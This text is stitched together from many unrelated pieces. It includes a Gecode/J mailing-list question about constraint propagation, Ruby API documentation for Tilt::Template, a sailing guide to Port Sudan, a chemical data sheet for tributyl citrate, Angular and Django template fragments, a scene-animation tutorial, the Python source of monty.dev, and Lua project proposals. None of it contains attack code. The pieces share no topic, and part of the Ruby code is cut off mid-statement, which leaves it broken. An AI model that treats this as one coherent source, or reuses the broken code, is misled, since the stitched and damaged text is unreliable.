> In all of my tests the latter two constraints are described like that:
>
> post(space, new BExpr(space.variable1, IRT_NQ, 2));
> post(space, new BExpr(space.variable1, IRT_NQ, 4));
>
> For the third constraint I had several tries. When I was using the
> rel() clause to write the constraint, I got the expected result:
>
> Variable #1: {0..1,3,5}
> Variable #2: {0..1,3,5}
>
> But when using a similar construct I would like to use in the static
> verifier, I got no result for the second variable, it can has all
> values from it's domain.
>
> post(space, new BExpr(space.variable1, IRT_EQ, space.variable2));
>
> Reading about different propagators, I have been able to get the
> expected result with the use of the ICL_DOM propagator, but only if I
> was posting the constraint directly, like that:
>
> post(space, new Expr(space.variable1), IRT_EQ, new
> Expr(space.variable2),org.gecode.GecodeEnumConstants.ICL_DOM);
>
> But if I tried to translate the a BExprs to that form, I did not
> succeed:
>
> Expr expression = new Expr(new
> Expr(space.variable2).minus(space.variable1));
> post(space, new Expr(expression), IRT_EQ, 0,
> org.gecode.GecodeEnumConstants.ICL_DOM);
>
> Can you tell me a way how to enable this strong ICL_DOM propagators
> meanwhile using the BExpr form, if it is possible? It would help our
> project a lot, it would simplify it's code.
>
> Thank you for your help,
> Zoltán Ujhelyi
> On 2008.08.09., at 18:30, Ujhelyi Zoltan wrote:
>
>> Hello all,
>>
>> we are currently trying to build a static checker system on top of
>> Gecode/J 2.1.1. (in an Eclipse environment), and we have found an
>> interesting case.
>>
>> In order to allow us greater flexibility we try to use the Expression
>> API (it allows us to build constraints in a hierarchical manner).
>>
>> I was testing the implementation, and found an interesting final
>> result: there were to IntVars, which were supposed to be the same,
>> did
>> not have the same final ranges: one of them had {2,4}, but the other
>> had {2,3,4}. I tried to trace back the code to look whether the
>> constraints were wrong or not, and found the following expression
>> building term:
>>
>> BExpr expression = new BExpr(new Expr(variable1),relation, new
>> Expr(variable2));
>>
>> Tracing the variables variable1 was a new variable, it hadn't been
>> constrained yet, while variable2's domain had been limited to the
>> values 2 and 4 (and they were the variables mentioned before in this
>> letter), while the relation had the value IRT_EQ.
>>
>> I tried a post of the expression right after it's construction to see
>> whether it helps or not:
>> org.gecode.Gecode.post(space, expression);
>>
>> It did not solve the problem, but when I replaced the post method to
>> the following rel call, the constraint handling was working as I
>> expected it before.
>>
>> rel(space, variable1, IntRelType.IRT_EQ, variable2);
>>
>> I would like to know, whether this phenomenon is the intentional
>> (maybe I do not understand something under the hood), or not. And if
>> you could tell me a way to avoid it, I would be very glad.
>>
>> Thank you very much in advance for your help,
>> Zoltán Ujhelyi
>> _______________________________________________
>> Gecode users mailing list
>> users at gecode.org
>> https://www.gecode.org/mailman/listinfo/gecode-users
>
>
> _______________________________________________
> Gecode users mailing list
> users at gecode.org
> https://www.gecode.org/mailman/listinfo/gecode-users
More information about the gecode-users
mailing list


Heading
Paragraph
Number 1
Number 2
some
text
in
red!
Table
with
columns
Row with
link to
Templater
Even links via image


class Tilt::Template
Base class for template implementations. Subclasses must implement the prepare method and one of the evaluate or precompiled_template methods.
Attributes
Template source; loaded from a file or given directly.
The name of the file where the template data was loaded from.
The line number in file where template data was loaded from.
A Hash of template engine specific options. This is passed directly to the underlying engine and is not used by the generic template interface.
Public Class Methods
Create a new template with the file, line, and options specified. By default, template data is read from the file. When a block is given, it should read template data and return as a String. When file is nil, a block is required.
All arguments are optional.
# File lib/tilt/template.rb, line 51 def initialize(file=nil, line=1, options={}, &block) @file, @line, @options = nil, 1, {} [options, line, file].compact.each do |arg| case when arg.respond_to?(:to_str) ; @file = arg.to_str when arg.respond_to?(:to_int) ; @line = arg.to_int when arg.respond_to?(:to_hash) ; @options = arg.to_hash.dup when arg.respond_to?(:path) ; @file = arg.path when arg.respond_to?(:to_path) ; @file = arg.to_path else raise TypeError, "Can't load the template file. Pass a string with a path " + "or an object that responds to 'to_str', 'path' or 'to_path'" end end raise ArgumentError, "file or block required" if (@file || block).nil? # used to hold compiled template methods @compiled_method = {} # used on 1.9 to set the encoding if it is not set elsewhere (like a magic comment) # currently only used if template compiles to ruby @default_encoding = @options.delete :default_encoding # load template data and prepare (uses binread to avoid encoding issues) @reader = block || lambda { |t| read_template_file } @data = @reader.call(self) if @data.respond_to?(:force_encoding) @data.force_encoding(default_encoding) if default_encoding if<EMAIL_ADDRESS>raise Encoding::InvalidByteSequenceError, "#{eval_file} is not valid<EMAIL_ADDRESS>end end prepare end
Public Instance Methods
The basename of the template file.
# File lib/tilt/template.rb, line 102 def basename(suffix='') File.basename(file, suffix) if file end
@deprecated Use `.metadata` instead.
# File lib/tilt/template.rb, line 35 def default_mime_type metadata[:mime_type] end
@deprecated Use `.metadata = val` instead.
# File lib/tilt/template.rb, line 40 def default_mime_type=(value) metadata[:mime_type] = value end
The filename used in backtraces to describe the template.
# File lib/tilt/template.rb, line 112 def eval_file file || '(__TEMPLATE__)' end
An empty Hash that the template engine can populate with various metadata.
# File lib/tilt/template.rb, line 30 def metadata @metadata ||= {} end
The template file’s basename with all extensions chomped off.
# File lib/tilt/template.rb, line 107 def name basename.split('.', 2).first if basename end
Render the template in the given scope with the locals specified. If a
block is given, it is typically available within the template via
yield
.
# File lib/tilt/template.rb, line 93 def render(scope=Object.new, locals={}, &block) current_template = Thread.current[:tilt_current_template] Thread.current[:tilt_current_template] = self evaluate(scope, locals || {}, &block) ensure Thread.current[:tilt_current_template] = current_template end
Protected Instance Methods
The encoding of the source data. Defaults to the default_encoding-option if present. You may override this method in your template class if you have a better hint of the data’s encoding.
# File lib/tilt/template.rb, line 134 def default_encoding @default_encoding end
Execute the compiled template and return the result string. Template evaluation is guaranteed to be performed in the scope object with the locals specified and with support for yielding to the block.
This method is only used by source generating templates. Subclasses that override render() may not support all features.
# File lib/tilt/template.rb, line 153 def evaluate(scope, locals, &block) method = compiled_method(locals.keys) method.bind(scope).call(locals, &block) end
Generates all template source by combining the preamble, template, and postamble and returns a two-tuple of the form: [source, offset], where source is the string containing (Ruby) source code for the template and offset is the integer line offset where line reporting should begin.
Template subclasses may override this method when they need complete control over source generation or want to adjust the default line offset. In most cases, overriding the precompiled_template method is easier and more appropriate.
# File lib/tilt/template.rb, line 167 def precompiled(local_keys) preamble = precompiled_preamble(local_keys) template = precompiled_template(local_keys) postamble = precompiled_postamble(local_keys) source = '' # Ensure that our generated source code has the same encoding as the # the source code generated by the template engine. if source.respond_to?(:force_encoding) template_encoding = extract_encoding(template) source.force_encoding(template_encoding) template.force_encoding(template_encoding) end source << preamble << "\n" << template << "\n" << postamble [source, preamble.count("\n")+1] end
# File lib/tilt/template.rb, line 201 def precompiled_postamble(local_keys) '' end
# File lib/tilt/template.rb, line 197 def precompiled_preamble(local_keys) '' end
A string containing the (Ruby) source code for the template. The default #evaluate implementation requires either this method or the precompiled method be overridden. When defined, the base Template guarantees correct file/line handling, locals support, custom scopes, proper encoding, and support for template compilation.
# File lib/tilt/template.rb, line 193 def precompiled_template(local_keys) raise NotImplementedError end
Do whatever preparation is necessary to setup the underlying template engine. Called immediately after template data is loaded. Instance variables set in this method are available when evaluate is called.
Subclasses must provide an implementation of this method.
# File lib/tilt/template.rb, line 143 def prepare raise NotImplementedError end
Private Instance Methods
# File lib/tilt/template.rb, line 278 def binary(string) original_encoding = string.encoding string.force_encoding(Encoding::BINARY) yield ensure string.force_encoding(original_encoding) end
# File lib/tilt/template.rb, line 235 def compile_template_method(local_keys) source, offset = precompiled(local_keys) local_code = local_extraction(local_keys) method_name = "__tilt_#{Thread.current.object_id.abs}" method_source = "" if method_source.respond_to?(:force_encoding) method_source.force_encoding(source.encoding) end method_source << <<-RUBY TOPOBJECT.class_eval do def #{method_name}(locals) Thread.current[:tilt_vars] = [self, locals] class << self this, locals = Thread.current[:tilt_vars] this.instance_eval do #{local_code} RUBY offset += method_source.count("\n") method_source << source method_source << "\nend;end;end;end" Object.class_eval(method_source, eval_file, line - offset) unbind_compiled_method(method_name) end
The compiled method for the locals keys provided.
# File lib/tilt/template.rb, line 219 def compiled_method(locals_keys) LOCK.synchronize do @compiled_method[locals_keys] ||= compile_template_method(locals_keys) end end
# File lib/tilt/template.rb, line 268 def extract_encoding(script) extract_magic_comment(script) || script.encoding end
# File lib/tilt/template.rb, line 272 def extract_magic_comment(script) binary(script) do script[/\A[ \t]*\#.*coding\s*[=:]\s*([[:alnum:]\-_]+).*$/n, 1] end end
# File lib/tilt/template.rb, line 225 def local_extraction(local_keys) local_keys.map do |k| if k.to_s =~ /\A[a-z_][a-zA-Z_0-9]*\z/ "#{k} = locals[#{k.inspect}]" else raise "invalid locals key: #{k.inspect} (keys must be variable names)" end end.join("\n") end
!@endgroup
# File lib/tilt/template.rb, line 209 def read_template_file data = File.open(file, 'rb') { |io| io.read } if data.respond_to?(:force_encoding) # Set it to the default external (without verifying) data.force_encoding(Encoding.default_external) if Encoding.default_external end data end
# File lib/tilt/template.rb, line 262 def unbind_compiled_method(method_name) method = TOPOBJECT.instance_method(method_name) TOPOBJECT.class_eval { remove_method(method_name) } method end


Sudan - Profile
Facts
- Port Sudan, the country's main port, is a convenient stop for yachts sailing up or down the Red Sea, although its facilities are poor and nothing has been done to improve them.
- Boats coming from the south might find simpler formalities in Suakin, just south of Port Sudan.
- Port Sudan's position at the halfway point of the Red Sea marks the point where the winds change from prevailing southerlies to northerlies. Northbound yachts face an uphill beat all the way to the Suez Canal, while southbound boats usually have to fight contrary winds as far as Bab el Mandeb and even beyond.
- If not in a great hurry, the best tactic for northbound boats is to cover as much ground as possible inside the reefs, which extend parallel to the shore along most of Sudan's coastline. The reef anchorages offer perfect shelter and also great diving and fishing.
- Note that a Sudan cruising permit is required for passage through the reefs (obtainable in Port Suakin). If you don't have a Sudan cruising permit, try to stay outside the reefs especially near the Egyptian border, to avoid problems with the military.
- Yachts have been allowed to anchor along the coast before clearing in, provided no one goes ashore.
- Many countries have an embargo against Sudan which could make it difficult to get spare parts shipped to you there. Be aware also that accessing bank accounts via the internet in Sudan may result in the account being frozen.
Security
Cruisers should be aware that foreigners travelling inland are at risk from terrorist attacks and kidnapping. It is advisable to check with a website such as US Travel Warnings
Hostilities between Sudanese forces and armed opposition groups in Blue Nile and Southern Kordofan states, including the disputed area of Abyei, present real and immediate dangers to travelers.
Weather
The climate is tropical, hot and dry in the north, and rainier in the south. The Red Sea area is very hot in summer when the winds are mostly northerly. The winter months are very pleasant and the prevailing winds are from the south.
Sudan Weather Forecast.
For links to free global weather information, forecast services and extreme weather information see the Noonsite Weather Page.
Main Ports


In this page, you will find photos which were taken mostly in kingsville, chicago and nashville. Enjoy the pictures. Anybody who hail from chicago,nashville or kingsville are most welcome to post their pictures in this website and make use of this page to show case their talent.


| Tributyl Citrate General Information
-
| Synonyms: |
TBC; Tributyl citrate; Tri-n-butyl citrate; dibutyl 3-(butoxycarbonyl)-3-hydroxypentane-1,5-dioate |
| Molecular Formula: |
C18H32O7 |
| CAS Registry No.: |
77-94-1 |
| Chemical Category: |
Citrates |
Usage and Performance Characteristics
-
| Outstanding Properties: |
Non-toxic, low temperature flexibility, heat stability |
| Used for Polymeric Materials: |
PVC and its copolymers |
| Used for Products: |
Food contact, medical and pharmaceutical materials, cigarette filters |
| Volatility, wt. %: |
16.5 (24 h at 87°C, 70 phr) |
Physical Properties
-
| Specific Gravity: |
1.043 (20°C) |
| Aggregate State at 25°C: |
Liquid |
| Clash-Berg Temperature, °C: |
-38.8 (67 phr) |
| Density, kg/m3: |
1,040 (20°C) |
| Dynamic Viscosity, cP: |
31.9 (25°C) |
| Heat of Combustion at 25°C, kJ/kg: |
27,614 |
| Vapor Density, relative to H2: |
9.13 |
| Vapor Pressure, kPa: |
0.13 (160°C) |
Chemical Properties
-
| Hildebrand Solubility Parameter, MPa1/2: |
18.49 |
Optical Properties
-
| Color, Platinum-Cobalt Scale: |
<50 |
| Refractive Index: |
1.444 (n20D) |
Hazard-Related Data
-
| OSHA Hazard Class: |
Not considered a hazardous substance |
| UN Safety Phrases: |
23-24/25 |
| Flash Point Temperature, °C: |
185 |
| HMIS Personal protection: |
Safety goggles, protective gloves |
Environmental Parameters
-
| Octanol-Water Partition Coeff., log Kow: |
3.28 |
| Theoretical Oxygen Demand, ThOD, g/g: |
2 |
Animal Toxicity
-
| Rat Oral, LD50, mg/kg: |
>30,000 |
Plasticizers Database (2nd Electronic Edition) Copyright © 2004 by ChemTec Publishing |


Game @ {{gv.game.event.venue.name}}
{{gv.game.event.date | date:'fullDate'}}
View Event
{{!gv.game.inProgress ? 'Start Game' : 'Resume Game'}}
Add Players
Players
There are no players for this game... yet.
{{player.rank}}
remove
{{player.player.name}}


Programming isn't something that I do for money. It is because it's my passion.  However, at the end of it, there lies a masterful product: one that may change the world, even. That is exactly what appeals to me. The ability to make something revolutionary through something that is incredibly accessible is the greatest thing one can do.
Ideas don't come free. They require hard work, with setbacks all along the way. My job isn't necessarily to create ideas; it can also be to help realize dreams. My job is to bear all the grunt work that is required to put an idea into reality, be it large or small.
I am Rishi Kothari. I am a programmer, who creates products out of dreams.


Viewport
Touched upon in the previous tutorial was the camera viewport. Now we'll be utilizing the camera to change what part of the scene is visible.- Open your epilogue to the Scenes tab.
- First, we need to zoom in the camera so that the whole background isn't visible at once.
- Click the first scene in the Scene View.
- Zoom out the canvas (slider in the toolbar or ctrl+mouse wheel) so that you can see the L corners of the camera viewport.
- Grab the intersection of an L's legs and drag it around to change the camera's zoom. Whatever is outside the viewport appears slightly darker than what's inside.
- To set the Zoom level exactly, with the scene selected, in the Property Table, set the zoom to 1.50. Remember, the canvas zoom and the camera zoom are two separate things.
- Click the Play Scene button in the canvas toolbar.  In fact, she is viewed at 1.5x zoom. Also notice how the portions of the background image outside the viewport are blacked out.
- Stop playback to return to edit mode.
Moving the Camera
We're now going to animate the camera.- With the scene selected, in the Property Table set Camera X to 130. You could also drag the viewport in the canvas, but because Florina's sprite is so large, you would likely end up dragging her instead.
-
The viewport is now lined up with the right side of the background.
- Click the Add sprite (sprite1) directive in the first scene to select it. Then click "Add Directive" and add a "Move/Zoom Camera" directive.
- This will insert a Camera directive right below the Add Sprite directive because the Add Sprite directive was selected previously.
- With the Camera directive selected, set X in the Property Table to 0. This means "move the camera to X: 0."
- Currently this movement is done immediately. Set the Time field to 1 second so that the camera moves in one second instead of instantly.
- In the canvas toolbar, click the "Play selected animation" button to the left of the "Play Scene" button. This will play the currently selected animation directive in a loop. You'll see the viewport moving from position 130 to 0 in 1 second.
- Click the button again to stop the preview.
- Click the Play Scene button. When playing a scene, you see the scene from the viewpoint of the camera, so it looks like a pan across the landscape as the camera moves.
- Stop playback.
Waiting for Animations
You may have noticed during playback that the speech bubble is stuck in place while the camera moves. This is because, unlike sprites, speech bubbles are not physical objects in the scene. Instead, they are like stickers overlaid atop the camera lens. We don't want to display the bubble until Florina moves into view, so we'll wait for the camera to stop before we display it.- With the Camera directive selected, add a new directive of type "Wait for Animations". This type of directive will cause the scene to wait until all non-looping animations have completed before advancing to the next directive (the speech bubble in this case).
- Play the scene again. This time the bubble doesn't appear until the camera has stopped.
Moving Sprites
Let's give Florina some animation by moving her into the scene too.- Select the Add sprite (sprite1) directive. Change its ID in the Property Table from "sprite1" to "florina". IDs are used to link animations to sprites.
- Notice in the Scene View that Add sprite (sprite1) now displays as Add sprite (florina).
- Move Florina out of the viewport by dragging her left. Alternatively, set X manually to -200 by typing in the Property Table.
- Add a directive of type "Animate Sprite/Emitter" to insert an Animate directive immediately after the Add Sprite directive.
- Initially the property table only displays one field: ID. Type florina into the ID, because we want to animate the sprite named florina.
- Drag Florina to the right back to where she was a few moments ago. Alternatively, type 0 into the X field of the Animate (florina) directive.
- Set the time to 0.5 seconds so the animation takes half a second to run.
- Play the scene and you'll see Florina slide in from the right.
- Let's delay her movement a bit. With the Animate directive still selected, set the Delay (s) field to 0.5. This will cause the animation to wait 0.5 seconds before it runs. Note that the wait is 0.5 seconds from the time the directive was executed, which is not necessarily 0.5 seconds from the start of the scene.
- Play the scene again. This time she waits a bit before popping into view. Stop playback.
Key Frames
The animation system uses key frames and tweening. Values for properties (X, Y, transparency, etc.) are defined at certain points in time, and the animation system fills the "in between" frames automatically. At its core, the tweening system used by the epilogue system is virtually identical to the system used by custom poses, but working with them in the editor is a bit different.It wouldn't be a Florina tutorial without summoning orbs being involved somehow. We'll use one to practice with animation key frames.
- Select Scene: Blue in the Scene View.
- Add a "Clear Speech Bubbles" directive. Since the scene was selected, the directive will go at the end of the scene, right after the "Wait For Input" Pause from the previous tutorial.
- This directive removes all speech bubbles from the scene. It's also possible to remove individual IDed bubbles with the "Remove Speech Bubble" directive, but clearing them all is often preferable.
- Add a "Move/Zoom Camera" directive and give it the following values:
- Time: 1
- X: -600
- Y: 384
- Zoom: 0.40
- This will pull back the camera and move Florina to the right side of the viewport as seen below:
You will likely need to zoom out the canvas to see this all.
- Worth noting here is the arrow leading out from a smaller box. This is a visual overview of the key frames involved with the current animation. The smaller box is the viewport's original location, and the arrow represents the direction of travel. This will be more important when we start using more than a single key frame.
- Add a sprite (Add Directive > Add Sprite). Use ep_orb.png from Florina's directory.
- Give the sprite and ID of "orb."
- Drag the orb to the lower left of the viewport, just outside of the rectangle. This should be somewhere around (X: -1500, Y: 1130).
- Add an "Animate Sprite/Emitter" directive. Type orb into the ID field to link the animation to the sprite.
- Set Time to 1 so it takes 1 second to move.
- Drag the orb to Florina's feet, around (X: -100, Y: 1130). Make sure Y is filled out even if it's the same as the starting value. We're going to move Y in a bit and without putting it in the key frame, this frame would be skipped when animating Y and it would not animate as expected.
- Click the "Add Keyframe" button to the right of the "Add Directive" button.
-
Looking at the scene view, you'll see that the (1s - X: -100 Y: 1130) information was moved into a separate line beneath Animate (orb) and a new line "@1s - new frame" was added. When an animation has more than one key frame, they appear beneath the directive like this.
- Change the time of this new frame to 1.2. This indicates the key frame is at 1.2 seconds from the start of the animation, or 0.2 seconds after the previous frame (1.2 - 1.0 = 0.2)
- Drag the orb up and to the left a bit, around (X: -230, Y: 990).
- Click "Add Keyframe" to add another key frame to this animation.
- Set the time to 1.4, meaning 0.2 seconds after the previous frame (1.4 - 1.2 = 0.2).
- Drag the orb back to the floor, around (X: -385, Y: 1130).
- Click the "Play selected animation" button to preview the animation. It will slide across the floor, bump against Florina's foot, and bounce back.
- As mentioned earlier, all of the key frames in this animation appear in the preview as boxes with arrows connecting them.
- You can click on one of these boxes to automatically select that frame. (You may need to zoom in to make it easier to select one without initiating a scale or rotation on the current frame).
- Play the scene. After clicking through the speech bubble, the camera will zoom out. By the time the camera has pulled back, the orb has already almost bumped into Florina.
- Stop playback. Let's delay the animation to give the camera a head start. We could use a "Wait For Animations" directive between the Camera and Animate (orb) directives, but that would cause it to wait for the camera to come to a halt before the orb starts moving. We don't want to wait that long.
- Select Animate (orb) in the scene view.
- In the Property Table, give it Delay (s): 0.5.
- Play the scene again. This time we can see more of the orb's movement.
Simultaneous and Looping Animations
It's possible to apply multiple animations to the same sprite at once, provided they are animating different parameters. Let's add a rolling effect to the orb. We could build the roll into the previous animation, but that would require some complicated tweaking with key frames to make it look nice. Instead it's simpler to animate it separately.- Add a new "Animate Sprite/Emitter" directive.
- Set the ID to "orb" since we're animating the orb sprite again.
- Check "Looped" in the property table to indicate that we want to loop this animation indefinitely.
- Set the Rotation to 0 since we want to start at 0 rotation.
- Add a key frame with Time (s): 0.5 and Rotation: 360.
- Preview the animation with "Play selected animation." The ball will be rolling place, but stopping and starting.
- This is because of the easing method, which defaults to "smooth": start slow, build up speed, and slow down.
- Select the Animate (orb) (loop) directive in the Scene view.
- Change the Easing to linear.
- Preview the animation again. This time it rolls at a constant (linear) rate.
- It's not possible to preview multiple animations at once in the editor, so to combine the roll with the movement, you'll need to play the whole scene.
- Play the scene. It looks decent enough, except it keeps rolling forever. Stop playback.
- Add a "Wait for Animations" directive. Waiting for animations does not wait for looping animations, because it would wait forever. Instead, this will wait for the movement to end and then advance while the rolling loop continues to play.
- Add a "Stop Animation" directive so we can stop the roll.
- Give it "orb" for the ID, which will stop all looping animations on "orb".
- Play through the scene again. This time the orb stops rolling once it comes to a rest. Stop playback.
- This looks good enough for tutorial purposes, but there are a number of ways we could accomplish this in a way that looks nicer. One idea would be to split the movement animation into before and after hitting Florina's leg and stop the loop between them, and then integrating a separate roll into the bounce.
- One last finishing touch. Add a new speech bubble with the text, "Oh no!" and position it somewhere around Florina with the bubble arrow pointing at her.
- Add a "Wait for Input" directive after the speech bubble.
-
Assuming you followed along exactly, your Scene View should look like this:


{% extends "base.html" %} {% block lcrContent %}
Deal Details: {{ deal.destination }}
In this report you can find traffic information about the selected deal. For your convinience, we also display a daily breakout for the last 7 days of traffic. If you're interested in financial information, like invoices and CDRs, please visit the Billing section.
| Total Statistics: | {{ deal.s_total.calls_ok }} calls / {{ deal.s_total.minutes }} minutes / ACD: {{ deal.s_total.acd }} seconds / ASR: {{ deal.s_total.asr|floatformat:"-2" }} % | |
|---|---|---|
| Last 15 minutes: @ {{ deal.l15min.dt_when|date:"Y-m-d H:i:s" }} |
Calls: | {{ deal.l15min.calls_ok }} |
| Minutes: | {{ deal.l15min.minutes }} | |
| ACD: | {{ deal.l15min.acd }} seconds | |
| ASR: | {{ deal.l15min.asr|floatformat:"-2" }} % | |
| Last 60 minutes: @ {{ deal.l60min.dt_when|date:"Y-m-d H:i:s" }} |
Calls: | {{ deal.l60min.calls_ok }} |
| Minutes: | {{ deal.l60min.minutes }} | |
| ACD: | {{ deal.l60min.acd }} seconds | |
| ASR: | {{ deal.l60min.asr|floatformat:"-2" }} % | |
| Last 12 hours: @ {{ deal.l12h.dt_when|date:"Y-m-d H:i:s" }} |
Calls: | {{ deal.l12h.calls_ok }} |
| Minutes: | {{ deal.l12h.minutes }} | |
| ACD: | {{ deal.l12h.acd }} seconds | |
| ASR: | {{ deal.l12h.asr|floatformat:"-2" }} % | |
| Last 24 hours: @ {{ deal.l24h.dt_when|date:"Y-m-d H:i:s" }} |
Calls: | {{ deal.l24h.calls_ok }} |
| Minutes: | {{ deal.l24h.minutes }} | |
| ACD: | {{ deal.l24h.acd }} seconds | |
| ASR: | {{ deal.l24h.asr|floatformat:"-2" }} % |
| Daily Breakdown (Last 7 Days of Traffic) | ||||
|---|---|---|---|---|
| Date: | Calls: | Minutes: | ACD: | ASR: |
| {{ day.date }} | {{ day.calls_ok }} | {{ day.minutes }} | {{ day.acd }} | {{ day.asr|floatformat:"-2" }} % |
[ << List of Deals ]
{% endblock %}


Source code for monty.dev
"""
This module implements several useful functions and decorators that can be
particularly useful for developers. E.g., deprecating methods / classes, etc.
"""
from __future__ import absolute_import
import re
import logging
import warnings
import os
import subprocess
import multiprocessing
import functools
__author__ = 'Shyue Ping Ong'
__copyright__ = "Copyright 2014, The Materials Virtual Lab"
__version__ = '0.1'
__maintainer__ = 'Shyue Ping Ong'
__email__ =<EMAIL_ADDRESS>__date__ = '1/24/14'
logger = logging.getLogger(__name__)
def deprecated(replacement=None, message=None):
"""
Decorator to mark classes or functions as deprecated,
with a possible replacement.
Args:
replacement (callable): A replacement class or method.
message (str): A warning message to be displayed.
Returns:
Original function, but with a warning to use the updated class.
"""
def wrap(old):
def wrapped(*args, **kwargs):
msg = "%s is deprecated" % old.__name__
if replacement is not None:
if isinstance(replacement, property):
r = replacement.fget
elif isinstance(replacement, (classmethod, staticmethod)):
r = replacement.__func__
else:
r = replacement
msg += "; use %s in %s instead." % (r.__name__, r.__module__)
if message is not None:
msg += "\n" + message
warnings.simplefilter('default')
warnings.warn(msg, DeprecationWarning, stacklevel=2)
return old(*args, **kwargs)
return wrapped
return wrap
class requires(object):
"""
Decorator to mark classes or functions as requiring a specified condition
to be true. This can be used to present useful error messages for
optional dependencies. For example, decorating the following code will
check if scipy is present and if not, a runtime error will be raised if
someone attempts to call the use_scipy function::
try:
import scipy
except ImportError:
scipy = None
@requires(scipy is not None, "scipy is not present.")
def use_scipy():
print(scipy.majver)
Args:
condition: Condition necessary to use the class or function.
message: A message to be displayed if the condition is not True.
"""
def __init__(self, condition, message):
self.condition = condition
self.message = message
def __call__(self, _callable):
@functools.wraps(_callable)
def decorated(*args, **kwargs):
if not self.condition:
raise RuntimeError(self.message)
return _callable(*args, **kwargs)
return decorated
def get_ncpus():
"""
.. note::
If you are using Python >= 2.7, multiprocessing.cpu_count() already
provides the number of CPUs. In fact, this is the first method tried.
The purpose of this function is to cater to old Python versions that
still exist on many Linux style clusters.
Number of virtual or physical CPUs on this system, i.e.
user/real as output by time(1) when called with an optimally scaling
userspace-only program. Return -1 if ncpus cannot be detected. Taken from:
http://stackoverflow.com/questions/1006289/how-to-find-out-the-number-of-
cpus-in-python
"""
# Python 2.6+
# May raise NonImplementedError
try:
return multiprocessing.cpu_count()
except (ImportError, NotImplementedError):
pass
# POSIX
try:
res = int(os.sysconf('SC_NPROCESSORS_ONLN'))
if res > 0:
return res
except (AttributeError, ValueError):
pass
# Windows
try:
res = int(os.environ['NUMBER_OF_PROCESSORS'])
if res > 0:
return res
except (KeyError, ValueError):
pass
# jython
try:
from java.lang import Runtime
runtime = Runtime.getRuntime()
res = runtime.availableProcessors()
if res > 0:
return res
except ImportError:
pass
# BSD
try:
sysctl = subprocess.Popen(['sysctl', '-n', 'hw.ncpu'],
stdout=subprocess.PIPE)
scstdout = sysctl.communicate()[0]
res = int(scstdout)
if res > 0:
return res
except (OSError, ValueError):
pass
# Linux
try:
res = open('/proc/cpuinfo').read().count('processor\t:')
if res > 0:
return res
except IOError:
pass
# Solaris
try:
pseudo_devices = os.listdir('/devices/pseudo/')
expr = re.compile('^cpuid@[0-9]+$')
res = 0
for pd in pseudo_devices:
if expr.match(pd) is not None:
res += 1
if res > 0:
return res
except OSError:
pass
# Other UNIXes (heuristic)
try:
try:
dmesg = open('/var/run/dmesg.boot').read()
except IOError:
dmesg_process = subprocess.Popen(['dmesg'], stdout=subprocess.PIPE)
dmesg = dmesg_process.communicate()[0]
res = 0
while '\ncpu' + str(res) + ':' in dmesg:
res += 1
if res > 0:
return res
except OSError:
pass
logger.warning('Cannot determine number of CPUs on this system!')
return -1
def install_excepthook(hook_type="color", **kwargs):
"""
This function replaces the original python traceback with an improved
version from Ipython. Use `color` for colourful traceback formatting,
`verbose` for Ka-Ping Yee's "cgitb.py" version kwargs are the keyword
arguments passed to the constructor. See IPython.core.ultratb.py for more
info.
Return:
0 if hook is installed successfully.
"""
try:
from IPython.core import ultratb
except ImportError:
import warnings
warnings.warn(
"Cannot install excepthook, IPyhon.core.ultratb not available")
return 1
# Select the hook.
hook = dict(
color=ultratb.ColorTB,
verbose=ultratb.VerboseTB,
).get(hook_type.lower(), None)
if hook is None:
return 2
import sys
sys.excepthook = hook(**kwargs)
return 0


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Parsing Expression Grammars (PEGs) are an expressive formalism for the design and implementation of top-down parsers with local backtracking. LPeg is a tool that provides an implementation of PEGs for Lua, while LPegLabel is an extension of LPeg with some facilities for error reporting and recovery.
The goal of this project is to build a parser generator on top of the new version of LPegLabel. This new tool should make easier the description of a parser for a programming language and should also implement a conservative algorithm to automatically annotate a PEG with labels, in order to provide an automatic error recovery mechanism.
We expect the applicants to have a solid knowledge of parsing and to develop familiarity with LPeg and LPegLabel before the project starts. The applicant should have used at least one parser generator tool, such as yacc/bison, ANTLR, JavaCC, PEG.js, etc.
For this reason, we will ask the applicants to perform some activities before the application period.
Advanced
Lunatik is a kernel-level Lua interpreter version for scripting the Linux kernel. For example, it allows users to filter packets using Lua scripts. kTLS is a new socket type provided by Linux that transparently handles the encryption and decryption of TLS messages.
ULP (Upper Layer Protocol) is a new feature merged recently in the Linux kernel which allows user-space programs to attach L7 functionalities to the in-kernel socket structure. kTLS is implemented via ULP.
The purpose of this project is to implement a kernel level Lua hook inside the kTLS infrastructure. This way we could use Lua scripts to inspect the contents of the HTTP messages transparently inside the kernel.
C, Lua, make, OS, networking (and some courage ;))
Advanced
LuaFormatter is a code formatter for Lua inspired by LLVM's 'clang-format'. It helps projects keep a even code style in Lua scripts while being easy to integrate with many different code editors.
The purpose of this project is to implement a lazy configuration validator. Right now, LuaFormatter doesn't check if the configuration values makes sense before using it. For example, a clueless user could use a negative value in a field where the range expected is [0, ∞).
We expect the validator to detect this kind of error and report to the user in a nice, helpful way.
C++/C, Git
Easy
Pallene is a typed companion language for Lua. Its syntax is similar to Lua, but with added type annotations. These types allow the Pallene compiler to generate code that is much more efficient than the Lua interpreter. Pallene is ideally suited for writing performant extension modules for Lua.
Pallene is evolving at a rapid pace, and there are still many features missing from the language. One of them module imports and exports. Currently, Pallene modules can be used by Lua, but the Pallene module cannot directly require other Pallene or Lua modules. Implementing this feature would allow programmers to write larger programs in Pallene.
In this project, you will have to get inside the guts of the Pallene compiler. The compiler itself is written in Lua and C, and it generates C code, so knowing both languages is a prerequisite.
To add support for separately-compiled modules, we will need to develop a file format for describing the interface of a Pallene module, describing all it's exported types and functions. This interface file should be able to describe the interface of Pallene modules, and also of Lua modules used by Pallene. Then, we will need to extend the Pallene compiler so that it can generate these interface files after compiling a module, and also so that it can use these interface files when one Pallene module requires a Lua or Pallene module. We also expect that some changes will be necessary in the parser, type checker, and code generator, to support using types and functions declared in a separate module.
This is a hard project, so we are expecting students that are looking for a challenge. Nevertheless, the student will have the full support of the mentors. If you are interested, please contact the mentors by email to get started with Pallene development.
Hard
Hugo Gualandi, Gabriel Ligneul
Céu is a reactive language that aims to offer a higher-level and safer alternative to C:
Céu-Arduino IDE is a modified version of the Arduino IDE that supports developing apps in Céu with the Céu-Arduino binding. Currently the IDE can open, compile and upload Arduino sketches written in the Céu programming language. It also includes some features such as syntax highlighting for Céu constructs, Céu examples for Arduino and Céu-Arduino libraries.
The goal of this project is to extend the support of Céu in the IDE by adding more features such as:
The student should know Java or a similar language (e.g. C#). We ask applicants to complete the following activities before the application period:
Hard


